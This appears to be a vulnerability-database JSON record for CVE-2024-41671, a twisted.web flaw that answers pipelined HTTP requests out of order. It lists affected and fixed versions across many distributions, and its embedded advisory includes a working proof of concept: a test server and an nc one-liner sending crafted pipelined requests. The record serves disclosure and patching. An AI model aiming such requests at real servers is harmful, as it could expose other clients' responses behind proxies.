{"id":"CVE-2024-41671","aliases":["ALPINE-CVE-2024-41671","AZL-47101","AZL-47151","CLSA-2025-1762474360","DEBIAN-CVE-2024-41671","DLA-3970-1","DSA-5797-1","EUVD-2024-2318","GHSA-c8m8-j448-xjx7","MGASA-2025-0054","OESA-2024-1983","OESA-2024-1984","OESA-2024-1985","OESA-2024-1986","OESA-2024-2052","PYSEC-2026-1992","SUSE-SU-2024:2732-1","SUSE-SU-2024:2757-1","SUSE-SU-2024:2860-1","SUSE-SU-2024:2880-1","UBUNTU-CVE-2024-41671","USN-6988-1","USN-6988-2","openSUSE-SU-2024:14228-1","openSUSE-SU-2024:14236-1"],"status":"published","title":"twisted.web has disordered HTTP pipeline response","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00863,"percentile":0.58858,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-444"],"published":"2024-07-29T14:37:08Z","modified":"2026-11-05T05:40:51Z","fixes":[{"ecosystem":"PyPI","package":"twisted","fixed_in":["24.7.0rc1"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.20","package":"synapse","fixed_in":["1.112.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.21","package":"synapse","fixed_in":["1.112.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.22","package":"synapse","fixed_in":["1.112.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.23","package":"synapse","fixed_in":["1.112.0-r0"],"sources":["osv"]},{"ecosystem":"Alpine:v3.24","package":"synapse","fixed_in":["1.112.0-r0"],"sources":["osv"]},{"ecosystem":"Azure Linux:2","package":"python-twisted","fixed_in":["22.10.0-3"],"sources":["osv"]},{"ecosystem":"Azure Linux:3","package":"python-twisted","fixed_in":["22.10.0-3"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"twisted","fixed_in":["22.4.0-4+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"twisted","fixed_in":["24.7.0-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"twisted","fixed_in":["24.7.0-1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"twisted","fixed_in":["17.9.0-2ubuntu0.3+esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:20.04:LTS","package":"twisted","fixed_in":["18.9.0-11ubuntu0.20.04.5"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"twisted","fixed_in":["22.1.0-2ubuntu2.6"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"twisted","fixed_in":["24.3.0-1ubuntu0.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"matrix-synapse","fixed_in":["1.112.0-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"24.3.0"},{"fixed":"24.7.0rc1"}]}]},{"source":"osv","ecosystem":"Alpine:v3.20","package":"synapse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.112.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.21","package":"synapse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.112.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.22","package":"synapse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.112.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"synapse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.112.0-r0"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"synapse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.112.0-r0"}]}]},{"source":"osv","ecosystem":"Azure Linux:2","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-3"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-3"}]}]},{"source":"osv","ecosystem":"TuxCare:PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.3.0"},{"fixed":"20.3.0.post4+tuxcare"}]}],"versions":["20.3.0"],"bundled":4},{"source":"osv","ecosystem":"Debian:12","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.4.0-4+deb12u1"}]}],"versions":["22.4.0-4"]},{"source":"osv","ecosystem":"Debian:13","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.7.0-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.7.0-1"}]}]},{"source":"osv","ecosystem":"Debian:11","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"20.3.0-7+deb11u2"}]}],"versions":["20.3.0-7","20.3.0-7+deb11u1"],"bundled":4},{"source":"osv","ecosystem":"Debian:12","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.4.0-4+deb12u1"}]}],"versions":["22.4.0-4"],"bundled":3},{"source":"osv","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.7.0rc1"}]}],"versions":["1.0.1","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.2.0","10.0.0","10.1.0","10.2.0","11.0.0","11.1.0","12.0.0","12.1.0","12.2.0","12.3.0","13.0.0","13.1.0","13.2.0","14.0.0","14.0.1","14.0.2","15.0.0","15.1.0","15.2.0","15.2.1","15.3.0","15.4.0","15.5.0","16.0.0","16.1.0","16.1.1","16.2.0","16.3.0","16.3.1","16.3.2","16.4.0","16.4.1","16.5.0","16.5.0rc1","16.5.0rc2","16.6.0","16.6.0rc1","16.7.0rc1","16.7.0rc2","17.1.0","17.1.0rc1","17.5.0","17.9.0","17.9.0rc1","18.4.0","18.4.0rc1","18.7.0","18.7.0rc1","18.7.0rc2","18.9.0","18.9.0rc1","19.10.0","19.10.0rc1","19.2.0","19.2.0rc1","19.2.0rc2","19.2.1","19.7.0","19.7.0rc1","2.1.0","2.4.0","2.5.0","20.3.0","20.3.0rc1","21.2.0","21.2.0rc1","21.7.0","21.7.0rc1","21.7.0rc2","21.7.0rc3","22.1.0","22.1.0rc1","22.10.0","22.10.0rc1","22.2.0","22.2.0rc1","22.4.0","22.4.0rc1","22.8.0","22.8.0rc1","23.10.0","23.10.0rc1","23.8.0","23.8.0rc1","24.2.0rc1","24.3.0","8.0.0","8.0.1","8.1.0","8.2.0","9.0.0"]},{"source":"osv","ecosystem":"Mageia:9","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-2.1.mga9"}]}],"bundled":3},{"source":"osv","ecosystem":"openEuler:24.03-LTS","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-4.oe2403"}]}],"bundled":2},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP3","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.4.0-4.oe2203sp3"}]}],"bundled":2},{"source":"osv","ecosystem":"openEuler:20.03-LTS-SP4","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.4.0-3.oe2003sp4"}]}],"bundled":2},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP1","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.4.0-4.oe2203sp1"}]}],"bundled":2},{"source":"osv","ecosystem":"openEuler:22.03-LTS-SP4","package":"python-twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.4.0-4.oe2203sp4"}]}],"bundled":2},{"source":"osv","ecosystem":"PyPI","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.7.0rc1"}]}],"versions":["1.0.1","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.2.0","10.0.0","10.1.0","10.2.0","11.0.0","11.1.0","12.0.0","12.1.0","12.2.0","12.3.0","13.0.0","13.1.0","13.2.0","14.0.0","14.0.1","14.0.2","15.0.0","15.1.0","15.2.0","15.2.1","15.3.0","15.4.0","15.5.0","16.0.0","16.1.0","16.1.1","16.2.0","16.3.0","16.3.1","16.3.2","16.4.0","16.4.1","16.5.0","16.5.0rc1","16.5.0rc2","16.6.0","16.6.0rc1","16.7.0rc1","16.7.0rc2","17.1.0","17.1.0rc1","17.5.0","17.9.0","17.9.0rc1","18.4.0","18.4.0rc1","18.7.0","18.7.0rc1","18.7.0rc2","18.9.0","18.9.0rc1","19.10.0","19.10.0rc1","19.2.0","19.2.0rc1","19.2.0rc2","19.2.1","19.7.0","19.7.0rc1","2.1.0","2.4.0","2.5.0","20.3.0","20.3.0rc1","21.2.0","21.2.0rc1","21.7.0","21.7.0rc1","21.7.0rc2","21.7.0rc3","22.1.0","22.1.0rc1","22.10.0","22.10.0rc1","22.2.0","22.2.0rc1","22.4.0","22.4.0rc1","22.8.0","22.8.0rc1","23.10.0","23.10.0rc1","23.8.0","23.8.0rc1","24.2.0rc1","24.3.0","8.0.0","8.0.1","8.1.0","8.2.0","9.0.0"]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Web and Scripting 12","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"15.2.1-9.26.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP2-LTSS","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"19.10.0-150200.3.24.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP3-LTSS","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"19.10.0-150200.3.24.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP2-LTSS","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"19.10.0-150200.3.24.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP3-LTSS","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"19.10.0-150200.3.24.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP2","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"19.10.0-150200.3.24.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP3","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"19.10.0-150200.3.24.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Enterprise Storage 7.1","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"19.10.0-150200.3.24.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Server Applications 15 SP5","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Server Applications 15 SP6","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Manager Proxy 4.3","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Manager Server 4.3","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 15.5","package":"python3-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.2.0-150400.21.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Public Cloud 15 SP4","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP5","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP6","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 15.5","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.10.0-150400.5.23.1"}]}],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.9.0-2ubuntu0.3+esm2"}]}],"versions":["16.6.0-2ubuntu3","17.9.0-1","17.9.0-2","17.9.0-2ubuntu0.1","17.9.0-2ubuntu0.3","17.9.0-2ubuntu0.3+esm1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"18.9.0-11ubuntu0.20.04.5"}]}],"versions":["18.9.0-3ubuntu1","18.9.0-5","18.9.0-6","18.9.0-6build1","18.9.0-6ubuntu1","18.9.0-8","18.9.0-11","18.9.0-11ubuntu0.20.04.1","18.9.0-11ubuntu0.20.04.2","18.9.0-11ubuntu0.20.04.3","18.9.0-11ubuntu0.20.04.4"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.1.0-2ubuntu2.6"}]}],"versions":["20.3.0-7ubuntu1","20.3.0-7ubuntu3","22.1.0-2ubuntu2","22.1.0-2ubuntu2.1","22.1.0-2ubuntu2.3","22.1.0-2ubuntu2.4","22.1.0-2ubuntu2.5"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.3.0-1ubuntu0.1"}]}],"versions":["22.4.0-4","22.4.0-4ubuntu1","23.10.0-2","24.3.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"13.2.0-1ubuntu1.2+esm3"}]}],"versions":["13.0.0-1ubuntu1","13.2.0-1ubuntu1","13.2.0-1ubuntu1.2","13.2.0-1ubuntu1.2+esm1","13.2.0-1ubuntu1.2+esm2"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"16.0.0-1ubuntu0.4+esm2"}]}],"versions":["15.2.1-1ubuntu2","15.5.0-1","15.5.0-2","15.5.0-2ubuntu1","15.5.0-4","16.0.0~pre1-1","16.0.0~pre1-1ubuntu1","16.0.0~pre1-2ubuntu1","16.0.0~pre1-3","16.0.0-1","16.0.0-1ubuntu0.2","16.0.0-1ubuntu0.4","16.0.0-1ubuntu0.4+esm1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.9.0-2ubuntu0.3+esm1"}]}],"versions":["16.6.0-2ubuntu3","17.9.0-1","17.9.0-2","17.9.0-2ubuntu0.1","17.9.0-2ubuntu0.3"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"18.9.0-11ubuntu0.20.04.4"}]}],"versions":["18.9.0-3ubuntu1","18.9.0-5","18.9.0-6","18.9.0-6build1","18.9.0-6ubuntu1","18.9.0-8","18.9.0-11","18.9.0-11ubuntu0.20.04.1","18.9.0-11ubuntu0.20.04.2","18.9.0-11ubuntu0.20.04.3"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.1.0-2ubuntu2.5"}]}],"versions":["20.3.0-7ubuntu1","20.3.0-7ubuntu3","22.1.0-2ubuntu2","22.1.0-2ubuntu2.1","22.1.0-2ubuntu2.3","22.1.0-2ubuntu2.4"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.3.0-1ubuntu0.1"}]}],"versions":["22.4.0-4","22.4.0-4ubuntu1","23.10.0-2","24.3.0-1"],"bundled":2},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17.9.0-2ubuntu0.3+esm2"}]}],"versions":["16.6.0-2ubuntu3","17.9.0-1","17.9.0-2","17.9.0-2ubuntu0.1","17.9.0-2ubuntu0.3","17.9.0-2ubuntu0.3+esm1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"18.9.0-11ubuntu0.20.04.5"}]}],"versions":["18.9.0-3ubuntu1","18.9.0-5","18.9.0-6","18.9.0-6build1","18.9.0-6ubuntu1","18.9.0-8","18.9.0-11","18.9.0-11ubuntu0.20.04.1","18.9.0-11ubuntu0.20.04.2","18.9.0-11ubuntu0.20.04.3","18.9.0-11ubuntu0.20.04.4"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"22.1.0-2ubuntu2.6"}]}],"versions":["20.3.0-7ubuntu1","20.3.0-7ubuntu3","22.1.0-2ubuntu2","22.1.0-2ubuntu2.1","22.1.0-2ubuntu2.3","22.1.0-2ubuntu2.4","22.1.0-2ubuntu2.5"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"matrix-synapse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.112.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Twisted","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.3.0-2.1"}]}],"bundled":2}],"products":[{"vendor":"twisted","product":"twisted"}],"references":[{"url":"https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7","tags":["x_refsource_CONFIRM","x_transferred","advisory","web","report"]},{"url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33","tags":["x_refsource_MISC","x_transferred","fix","web"]},{"url":"https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc","tags":["x_refsource_MISC","x_transferred","fix","web"]},{"url":"https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167","tags":["web"]},{"url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41671","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-c8m8-j448-xjx7","tags":["advisory"]},{"url":"https://security.alpinelinux.org/vuln/CVE-2024-41671","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/41xxx/CVE-2024-41671.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-41671","tags":["advisory"]},{"url":"https://github.com/twisted/twisted","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2025-0054.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=33807","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-6575-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/notices/USN-6988-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/notices/USN-6988-2","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-1983","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41810","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-1984","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-1985","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-1986","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2024-2052","tags":["advisory"]},{"url":"https://pypi.org/project/twisted","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2024/suse-su-20242732-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1228549","tags":["report"]},{"url":"https://bugzilla.suse.com/1228552","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2024-41671","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-41810","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2024/suse-su-20242757-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2024/suse-su-20242860-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2024/suse-su-20242880-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2024-41671","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2024-41671","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2024-41810","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2024-41671","title":"twisted.web has disordered HTTP pipeline response","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","status":"published","published":"2024-07-29T14:37:08.484Z","modified":"2025-11-03T22:00:59.62Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T14:34:03.661584Z"}],"euvd":[{"id":"EUVD-2024-2318","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","status":"published","published":"2024-07-29T14:37:08Z","modified":"2025-11-03T22:00:59Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-02T19:49:29.890052Z"}],"ghsa":[{"id":"GHSA-c8m8-j448-xjx7","title":"twisted.web has disordered HTTP pipeline response","description":"### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update \u0026\u0026 apt -y install ncat git python3 python3-pip \\\n    \u0026\u0026 git clone --recurse-submodules https://github.com/twisted/twisted \\\n    \u0026\u0026 cd twisted \\\n    \u0026\u0026 pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n    isLeaf = True\n\n    def render_GET(self, request) -\u003e bytes:\n        return b\"GET\"\n\n    def render_POST(self, request) -\u003e bytes:\n        return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.","status":"published","published":"2024-07-29T16:33:11Z","modified":"2025-11-04T16:51:07Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L","level":"medium"},{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-444"],"updated_at":"2026-11-02T14:39:06.376137Z"}],"nvd":[{"id":"CVE-2024-41671","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 